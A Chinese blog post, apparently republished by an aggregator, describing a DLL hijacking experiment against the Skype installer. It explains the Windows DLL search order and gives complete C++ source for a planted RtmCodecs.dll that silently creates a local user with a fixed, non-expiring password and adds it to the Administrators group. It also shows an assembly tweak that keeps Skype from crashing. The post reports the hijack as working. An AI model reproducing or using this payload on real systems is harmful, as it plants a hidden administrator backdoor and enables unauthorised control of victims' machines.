dll劫持技术探索
Posted persuit
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了dll劫持技术探索相关的知识,希望对你有一定的参考价值。
0x1:实验背景
看到国外一篇文章,大致描述如下:
Hi, There are a dll planting vuln in skype installer. This vuln had been reported to Microsoft but they decided not fix this. Here is the vulnerability details: ------ Skype installer in Windows is open to DLL hijacking. Skype looks for a specific DLL by dynamically going through a set of predefined directories. One of the directory being scanned is the installation directory, and this is exactly what is abused in this vulnerability.
根据描述我们可以知道skype存在dll劫持漏洞,在试验中需要劫持的dll为RtmCodecs.dll,接下来我们开始试验。
0x2: dll劫持原理
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
0x3:实验过程
(1) 编写一个劫持指定dll程序原理
1.查看被劫持的DLL的导出函数表。 2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的“恶意代码”。
(2) 由于文章里给出一个弹出会话框功能的dll,这里我们先看看作者怎么实现的。
从上图可以看出,作者直接在DLL入口执行一个msaageBox函数 弹出对话框。我们也这样实现一个函数添加用户试试,主要代码如下
msi.h
#pragma once #ifdef DLLEXPORT #define DLL_INTERFACE __declspec(dllexport) #else #define DLL_INTERFACE __declspec(dllimport) #endif extern "C"{ DLL_INTERFACE void adduser(); }
msi.cpp
// msi.cpp : 定义 DLL 应用程序的导出函数。 // #include "stdafx.h" #define DLLEXPORT #include "msi.h" DLL_INTERFACE void adduser() { NET_API_STATUS nStatus; DWORD dwError = 0; DWORD dwLevel = 1; USER_INFO_1 ui; ui.usri1_name = L"iiis"; //用户名 ui.usri1_password = L"password123!@#"; //密码 //ui.usri1_name = argv[1]; //ui.usri1_password = argv[1]; ui.usri1_priv = USER_PRIV_USER; //权限 ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT|UF_DONT_EXPIRE_PASSWD|UF_PASSWD_CANT_CHANGE; //登录脚本执行,密码不可更改,密码永不过期 ui.usri1_script_path = NULL; nStatus = NetUserAdd( NULL, dwLevel, (LPBYTE)&ui, &dwError ); if ( nStatus == NERR_Success || nStatus == NERR_UserExists ) { std::cout << "add user success" << std::endl; } else { std::cout << "add user failed: " << nStatus << std::endl; exit(-1); } LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=ui.usri1_name; //传入用户名 nStatus = NetLocalGroupAddMembers( NULL, L"Administrators", 3, (LPBYTE)&account, 1); if ( nStatus == NERR_Success ) { std::cout << "add localgroup success" << std::endl; } else { std::cout << "add localgroup failed: " << nStatus << std::endl; exit(-1); } __asm JMP EAX; // 初次测试没有这一句 }
编译,放进skpye的phone目录替换RtmCodecs.dll,然后启动skype,如图:
劫持成功,但是skype崩溃掉了,分析一下原因,大概是没有实现劫持DLL向原DLL的导出函数的转发导致的,但是作者也没有这样实现怎么就不崩溃呢,于是反编译了一下skype原RtmCodecs.dll看看导出函数是长啥样的,如下图:
结合IDA里面执行完messageBox函数后的eax清零操作,大概了解,应该在Adduser()执行完毕后对返回进行一下处理,于是在Adduser()函数体末尾添加
__asm JMP EAX;
指令,再编译测试,如下图:
成功劫持并添加用户,skype也没有崩溃。
0x4 后记:
上述就是整个实验过程,当然在劫持指定dll的时候,为了程序能正常使用按照编写一个劫持指定dll程序原理去实现效果最好,在本次试验中,这个过程忽略了。
0x5 参考:
1. http://www.exploitalert.com/view-details.html?id=24885
2. http://www.freebuf.com/articles/78807.html
以上是关于dll劫持技术探索的主要内容,如果未能解决你的问题,请参考以下文章